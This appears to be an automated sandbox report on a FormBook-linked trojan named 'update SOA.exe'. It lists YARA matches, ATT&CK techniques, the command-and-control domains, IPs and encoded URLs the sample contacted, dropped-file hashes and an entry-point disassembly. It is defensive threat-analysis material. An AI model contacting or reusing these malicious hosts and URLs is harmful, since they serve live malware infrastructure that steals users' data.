Source: Yara match	File source: 00000005.00000002.3882344624.0000000002B80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3883839683.0000000005350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343330383.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3886044229.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343906085.0000000006650000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3883738653.0000000004A30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2343594491.0000000003790000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3883798608.0000000004A80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	2 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	412 Process Injection	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Abuse Elevation Control Mechanism	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
update SOA.exe	42%	ReversingLabs	Win32.Trojan.Autoitinject
update SOA.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bqberw.vip	3.33.130.190	true	true	unknown
www.cc101.pro	188.114.96.3	true	true	unknown
queima.shop	84.32.84.32	true	true	unknown
crowsecurity.cloud	3.33.130.190	true	true	unknown
dxzz.top	137.175.33.56	true	true	unknown
weatherbook.live	3.33.130.190	true	true	unknown
linkwave.cloud	3.33.130.190	true	true	unknown
www.technectar.top	199.192.21.169	true	true	unknown
www.dverkom.store	31.31.196.17	true	true	unknown
www.bayarcepat19.click	188.114.96.3	true	true	unknown
multileveltravel.world	3.33.130.190	true	true	unknown
www.multileveltravel.world	unknown	unknown	true	unknown
www.linkwave.cloud	unknown	unknown	true	unknown
www.queima.shop	unknown	unknown	true	unknown
www.dxeg.lol	unknown	unknown	true	unknown
www.weatherbook.live	unknown	unknown	true	unknown
www.crowsecurity.cloud	unknown	unknown	true	unknown
www.bqberw.vip	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.bqberw.vip/ezjb/	true	unknown
http://www.linkwave.cloud/l8vr/	true	unknown
http://www.dverkom.store/66j2/?Gh9=g8u8&gHCXmDU=HppDh2G+RtpfmDCT0lrSNXbmIaO8PdTsBI8zXGv7BhGUw+IQzheJ3lftE5yUT4NGt8aZPQR/20xdb9u1HnRpXJ4mqLkzjkiMvvw05xDKhjbhyfyxEkkTngu+5afP1ml7ew==	true	unknown
http://www.weatherbook.live/0fox/	true	unknown
http://www.cc101.pro/9apq/?gHCXmDU=LHjDDAx19xzpDFr0PiWSUWbLpibiWm2OcttpvXYQA3jhT8+aBAnUV8C6f3e3WqOmZ67HZ5Oe4rCfD6agN7j3kbNhxDE+C6RgPFZIWir2F/mXh+rIzbzvAjzVwKDU5y7xZw==&Gh9=g8u8	true	unknown
http://www.bayarcepat19.click/5hcm/	true	unknown
http://www.weatherbook.live/0fox/?Gh9=g8u8&gHCXmDU=4CzKvyikl1JmGr8+CQf9WWAdO1Gj6lWNmDPUBHudsRDXm35ePvWJknN1Cj9rj3LGeee2ucHQDjkFWVqRWStwJougsDrkF+FnKnugc/NP5deCT95MsghdxHCGfuWAxmiXjA==	true	unknown
http://www.crowsecurity.cloud/8y34/	true	unknown
http://www.bqberw.vip/ezjb/?gHCXmDU=l3Sp86LdHQK51JyE1bYSLRwrZz79eLj2OPa9S2eacvhOVgE1mplOojXymOZ9YDGfggwACbk9WjYrzuHmvoZIXyGwVLnNH3EmPti700Sf3mBkVqNnJJuO7TSqISvYzPtlzQ==&Gh9=g8u8	true	unknown
http://www.dxeg.lol/mxqs/?gHCXmDU=rHSAWCOTv0B2OyWbYMKwkuU+0pm+dYnzeuWywUFjfL0Y5nHDImWR+DkgzCKA2Uf76rKFoLo4oU5TM+FaPt+JwQr3UHywKVmmcKRjYyDIvIOI0clKCIXncFUG+d5lZOlczw==&Gh9=g8u8	true	unknown
http://www.technectar.top/ghvt/	true	unknown
http://www.bayarcepat19.click/5hcm/?gHCXmDU=tP3kAkfnE7i1YCC3akJDPtDOQtMjgFa5K3aSOloco8KmCG1xGxL66P/sVWpGfWTMdHJkfi3yOYhNMZMhorUklSdDj9q9dz65TNSy5hy/ttZPgJetaDNmb5haRLwL+/pH9A==&Gh9=g8u8	true	unknown
http://www.dverkom.store/66j2/	true	unknown
http://www.multileveltravel.world/kdfx/	true	unknown
http://www.cc101.pro/9apq/	true	unknown
http://www.multileveltravel.world/kdfx/?gHCXmDU=eNDgnj/WfiIi0tdu+8aXiZOUK+7f3FxcWZT5SlTqKAn5yXi4RD1689oWOvV8Od+Oy+8ctbdx7DJ/alyTHONZQzsxT9MNlSdJwngJpwfGelD5vY9uXcKC+Fx9+CLw3WjCzw==&Gh9=g8u8	true	unknown
http://www.crowsecurity.cloud/8y34/?gHCXmDU=XU1sh1XtMideJdcsvQ849SwdzHfbiD52gXGwR5WASyJ1tlInyqc9ITTs981nRcft/RKcq7FVheMXMN6zJo5iI2BJEO7R6UftY8jdwwsPJfysQECRq1QA/MaERKdZHzC5fw==&Gh9=g8u8	true	unknown
http://www.technectar.top/ghvt/?gHCXmDU=LTjEQRzJtYpWLPC7D2gy6fienZfrxvC35gdjmmThy52R4q9H0AiUwAwLJzzKst3lsJoWNw2bCWGayp08MXQ4hrVkAG0NSKhN96qT0ct2vaZlIyhDhNk8pUo7hoK/rit8rQ==&Gh9=g8u8	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.bayarcepat19.click	HAdkDWMZRiGMZe.exe, 00000006.00000002.3886044229.0000000005581000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://156.226.108.98:58888/	notepad.exe, 00000005.00000002.3885110150.0000000005B6A000.00000004.10000000.00040000.00000000.sdmp, notepad.exe, 00000005.00000002.3886877799.0000000007A00000.00000004.00000800.00020000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3884241981.000000000395A000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://www.bayarcepat19.click/5hcm/?gHCXmDU=tP3kAkfnE7i1YCC3akJDPtDOQtMjgFa5K3aSOloco8KmCG1xGxL66P/	notepad.exe, 00000005.00000002.3885110150.00000000064D6000.00000004.10000000.00040000.00000000.sdmp, HAdkDWMZRiGMZe.exe, 00000006.00000002.3884241981.00000000042C6000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	notepad.exe, 00000005.00000002.3887050160.0000000007D2E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
137.175.33.56	dxzz.top	United States	54600	PEGTECHINCUS	true
199.192.21.169	www.technectar.top	United States	22612	NAMECHEAP-NETUS	true
31.31.196.17	www.dverkom.store	Russian Federation	197695	AS-REGRU	true
188.114.96.3	www.cc101.pro	European Union	13335	CLOUDFLARENETUS	true
3.33.130.190	bqberw.vip	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522849
Start date and time:	2024-09-30 18:42:56 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	update SOA.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@11/5
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 93% Number of executed functions: 25 Number of non-executed functions: 320
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target HAdkDWMZRiGMZe.exe, PID 2296 because it is empty
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: update SOA.exe

Simulations

Behavior and APIs

Time	Type	Description
12:44:53	API Interceptor	6080652x Sleep call for process: notepad.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
137.175.33.56	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.dxeg.lol/ytua/
137.175.33.56	DCP11-83642024..exe	Get hash	malicious	FormBook	Browse	www.dxeg.lol/rkgs/
199.192.21.169	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	Request for Quotation Hi-Tech Park Project 193200.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	DEBIT NOTE 01ST SEP 2024.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	DCP11-83642024..exe	Get hash	malicious	FormBook	Browse	www.urbanpulse.help/r50h/
	PROFOMA INVOICE SHEET.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	file.exe	Get hash	malicious	FormBook	Browse	www.urbanpulse.help/r50h/
	INV & BANK DETAILS LETTER.pdf.exe	Get hash	malicious	FormBook	Browse	www.cenfresh.life/6iok/
31.31.196.17	PO For Bulk Order.exe	Get hash	malicious	FormBook	Browse	www.dverkom.store/87kt/
31.31.196.17	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	www.dverkom.store/87kt/
188.114.96.3	docs.exe	Get hash	malicious	FormBook	Browse	www.j88.travel/c24t/?I6=iDjdFciE5wc5h9D9V74ZS/2sliUdDJEhqWnTSCKxgeFtQoD7uajT9bZ2+la3znjNy02hfQbCEg==&AL0=9rN46F
	https://wwvmicrosx.live/office365/office_cookies/main	Get hash	malicious	HTMLPhisher	Browse	wwvmicrosx.live/office365/office_cookies/main/
	http://fitur-dana-terbaru-2024.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	fitur-dana-terbaru-2024.pages.dev/favicon.ico
	http://mobilelegendsmycode.com/	Get hash	malicious	Unknown	Browse	mobilelegendsmycode.com/favicon.ico
	http://instructionhub.net/?gad_source=2&gclid=EAIaIQobChMI-pqSm7HgiAMVbfB5BB3YEjS_EAAYASAAEgJAAPD_BwE	Get hash	malicious	WinSearchAbuse	Browse	download.all-instructions.com/Downloads/Instruction%2021921.pdf.lnk
	ADNOC requesting RFQ.exe	Get hash	malicious	FormBook	Browse	www.chinaen.org/zi4g/
	http://twint.ch-daten.com/de/receive/bank/sgkb/79469380	Get hash	malicious	Unknown	Browse	twint.ch-daten.com/socket.io/?EIO=4&transport=polling&t=P8hxwsc
	Cbequipment-Voice Audio Interface.pdf	Get hash	malicious	HTMLPhisher	Browse	www.444317.com/
	Sept order.doc	Get hash	malicious	FormBook	Browse	www.rajalele.xyz/bopi/?1b=1soTE/gd/ZpFZmuHMdkP9CmM1erq3xsEeOQ9nFH+Tv+qMlBfxeqrLL5BDR/2l62DivVTHQ==&BfL=LxlT-
	1e#U0414.exe	Get hash	malicious	Lokibot	Browse	dddotx.shop/Mine/PWS/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dxzz.top	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	137.175.33.56
dxzz.top	DCP11-83642024..exe	Get hash	malicious	FormBook	Browse	137.175.33.56
www.cc101.pro	PO-100001499.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	PO23100072.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	PO-000001488.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
www.dverkom.store	PO For Bulk Order.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
www.dverkom.store	New Purchase Order.exe	Get hash	malicious	FormBook	Browse	31.31.196.17

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	NCTSgL4t0B.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	4tXm5yPtiy.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.84.213
	https://mafanikiosacco-my.sharepoint.com/:f:/p/info/EgPH1s54501Ki8NU-gutZLABOsAyZ-dhIPJaM6vWEXJqUQ?e=PJpX12	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	UY9hUZn4CQ.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	104.21.1.169
	4sTTCruY06.exe	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	gh3zRWl4or.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	seoI30IZZr.exe	Get hash	malicious	LummaC, DCRat, LummaC Stealer, PureLog Stealer, zgRAT	Browse	188.114.96.3
	docs.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	https://myworkspace183015a0ec.myclickfunnels.com/reviewdoc--96b32?preview=true	Get hash	malicious	Unknown	Browse	104.18.35.212
	https://mandrillapp.com/track/click/30481271/www.doku.com?p=eyJzIjoibU5DZVhaM2w5MjJrQzZUaXptdlBXY2VNN2VnIiwidiI6MSwicCI6IntcInVcIjozMDQ4MTI3MSxcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy5kb2t1LmNvbVxcXC91XFxcL01PMjI3cXdcIixcImlkXCI6XCIxZjY5Nzc3NzBlZjU0NTg3OThmOTMwN2YyMzc5Y2VlOFwiLFwidXJsX2lkc1wiOltcImZiY2Y5N2U4ZWY0YzlkODk1Y2MxMGM4Y2YzYTdkZjc5YzU2NzU4MTlcIl19In0	Get hash	malicious	Unknown	Browse	1.1.1.1
NAMECHEAP-NETUS	shipping documents_pdf.exe	Get hash	malicious	FormBook	Browse	162.213.249.216
	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	162.0.238.238
	Quote #260924.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	http://telegram-sex-naughty18.pages.dev/	Get hash	malicious	Porn Scam	Browse	162.213.255.57
	https://purtroppopurtroppo-fab1fa.ingress-comporellon.ewp.live/wp-content/plugins/aiimaea/pages/region.php?lca	Get hash	malicious	Unknown	Browse	63.250.43.5
	https://tuttavia-fab1fa.ingress-earth.ewp.live/wp-content/plugins/aiimaea/pages/region.php?lca	Get hash	malicious	Unknown	Browse	63.250.43.129
	https://panthersaenimoine-fabc74.ingress-bonde.ewp.live/wp-content/plugins/abinbrevie/pages/region.php?lca	Get hash	malicious	Unknown	Browse	63.250.43.2
	https://urlz.fr/skxM	Get hash	malicious	Unknown	Browse	63.250.43.1
	Quote #270924.exe	Get hash	malicious	FormBook	Browse	162.0.238.43
	http://www.hongkong-post.frairza.com/	Get hash	malicious	Unknown	Browse	104.219.248.95
AS-REGRU	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, PrivateLoader, Socks5Systemz	Browse	194.58.114.223
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, Cryptbot, LummaC Stealer, Neoreklami, Socks5Systemz	Browse	194.58.114.223
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc	Browse	37.140.192.213
	RTGS-WB-ABS-240730-NEW.lnk	Get hash	malicious	AgentTesla	Browse	176.99.3.36
	PO For Bulk Order.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	194.58.112.174
	CSBls4grBI.exe	Get hash	malicious	LummaC, Socks5Systemz	Browse	194.58.114.223
	0435.pdf.exe	Get hash	malicious	SmokeLoader	Browse	194.58.112.174
	AWB_5771388044 Documenti di spedizione.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
	PO2024033194.exe	Get hash	malicious	FormBook	Browse	194.58.112.174
PEGTECHINCUS	https://ole798.com/	Get hash	malicious	Unknown	Browse	192.74.233.14
	https://ojbkjs.vip/yb.js	Get hash	malicious	Unknown	Browse	107.149.163.248
	https://shorturl.at/KcKVc?qwN=AOVGKV9KYE%3EQtv=zkyz2kvn1a	Get hash	malicious	Unknown	Browse	137.175.84.167
	https://tiktoksh0p.net/	Get hash	malicious	Unknown	Browse	104.37.215.2
	UMOWA_PD.BAT.exe	Get hash	malicious	FormBook, GuLoader	Browse	137.175.33.56
	https://tk815.shop/	Get hash	malicious	Unknown	Browse	107.148.46.163
	DCP11-83642024..exe	Get hash	malicious	FormBook	Browse	137.175.33.56
	r8ykXfy52F9CXd5d.exe	Get hash	malicious	FormBook	Browse	192.74.233.8
	Order#Qxz091124.exe	Get hash	malicious	FormBook	Browse	107.148.62.45
	PO00211240906.exe	Get hash	malicious	FormBook	Browse	107.148.62.45

Process:	C:\Windows\SysWOW64\notepad.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\teer

Download File

Process:	C:\Users\user\Desktop\update SOA.exe
File Type:	data
Category:	dropped
Size (bytes):	288768
Entropy (8bit):	7.993824652984272
Encrypted:	true
SSDEEP:	6144:3mUWxi7Bi+NitVZE3wCDu6TLYf/FKUegyldqx:31jBigiZE3w8u6TLYfK0
MD5:	87680CE0F1813F50179FDE5449C057B5
SHA1:	A4551A0B460B716B88BE1495412BA53D4F14D747
SHA-256:	77FDD27A7D3DAFDBBB21B431676A5EF44D3ECBC3B04C383FBFDFC6582213D6E6
SHA-512:	C68D5C2469DC2900B65E11E2DE0D7BC3D5A5E9945AA720254339F02801DD8B22984609AD2AE49603F9E8B97524DAFC2F2D703FB3895982272C3D008ABCFB3C10
Malicious:	false
Reputation:	low
Preview:	}..e.QJ7R...Q.....QI..k6P...Z7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7.QJ7\W.;X.9.{.F.... *Fx%B8=E&<jT3&-Z,uR2zE2?j^<h.z.u]8>Ri\G=vHC5XU0W#6N.wW5.~U?..7=.]...h($.B.fW .P....U?.b>9_z1-.RHC5XU0W.rGQ.6SH...0WZ7GQJ7.HA4ST;WZaCQJ7RHC5XU.DZ7GAJ7R8G5XUpWZ'GQJ5RHE5XU0WZ7AQJ7RHC5X%4WZ5GQJ7RHA5..0WJ7GAJ7RHS5XE0WZ7GQZ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5v!U/.7GQ~cVHC%XU0.^7GAJ7RHC5XU0WZ7GQj7R(C5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQJ7RHC5XU0WZ7GQ

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.551097037711219
TrID:	Win32 Executable (generic) a (10002005/4) 95.11% AutoIt3 compiled script executable (510682/80) 4.86% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	update SOA.exe
File size:	1'401'959 bytes
MD5:	309a3f5ca72ff071a0edd351eb3c6691
SHA1:	64a06df557469bda25a3d3b6526a9e7eade67f63
SHA256:	cad71f61562fdc34dafc567081d21ff6044322ff75b67c3b5172fba7f4ee1e5d
SHA512:	077e1c99989b798471373d1950b924ccac9de73d8b3a5712c628422d5448027998427c51dfc7ca9c93e667968a123b3d60a760272e13953373a3004856aba057
SSDEEP:	24576:ffmMv6Ckr7Mny5QL+wCkHqv5Cgq5ub/xUXx/daqLXG8PPGFN0:f3v+7/5QLnCkHqB42/CXSeX
TLSH:	5155F212B7D680B6DDA339B11937E36BDB3575194323C4CBA7E02E768F211509B3A362
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......-...i...i...i.....9.k...`.:.w...`.,.....`.+.P...N%..c...N%..H...i...d...`. ./...w.:.k...w.;.h...i.8.h...`.>.h...Richi..........

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x416310
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4B93CF87 [Sun Mar 7 16:08:39 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	aaaa8913c89c8aa4a5d93f06853894da

Entrypoint Preview

Instruction
call 00007FBBDC95280Ch
jmp 00007FBBDC9465DEh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FBBDC94676Ah
cmp edi, eax
jc 00007FBBDC94690Ah
cmp ecx, 00000100h
jc 00007FBBDC946781h
cmp dword ptr [004A94E0h], 00000000h
je 00007FBBDC946778h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007FBBDC94676Ah
pop esi
pop edi
pop ebp
jmp 00007FBBDC946BCAh
test edi, 00000003h
jne 00007FBBDC946777h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007FBBDC94678Ch
rep movsd
jmp dword ptr [00416494h+edx*4]
nop
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007FBBDC94676Eh
and eax, 03h
add ecx, eax
jmp dword ptr [004163A8h+eax*4]
jmp dword ptr [004164A4h+ecx*4]
nop
jmp dword ptr [00416428h+ecx*4]
nop
mov eax, E4004163h
arpl word ptr [ecx+00h], ax
or byte ptr [ecx+eax*2+00h], ah
and edx, ecx
mov al, byte ptr [esi]
mov byte ptr [edi], al
mov al, byte ptr [esi+01h]
mov byte ptr [edi+01h], al
mov al, byte ptr [esi+02h]
shr ecx, 02h
mov byte ptr [edi+02h], al
add esi, 03h
add edi, 03h
cmp ecx, 08h
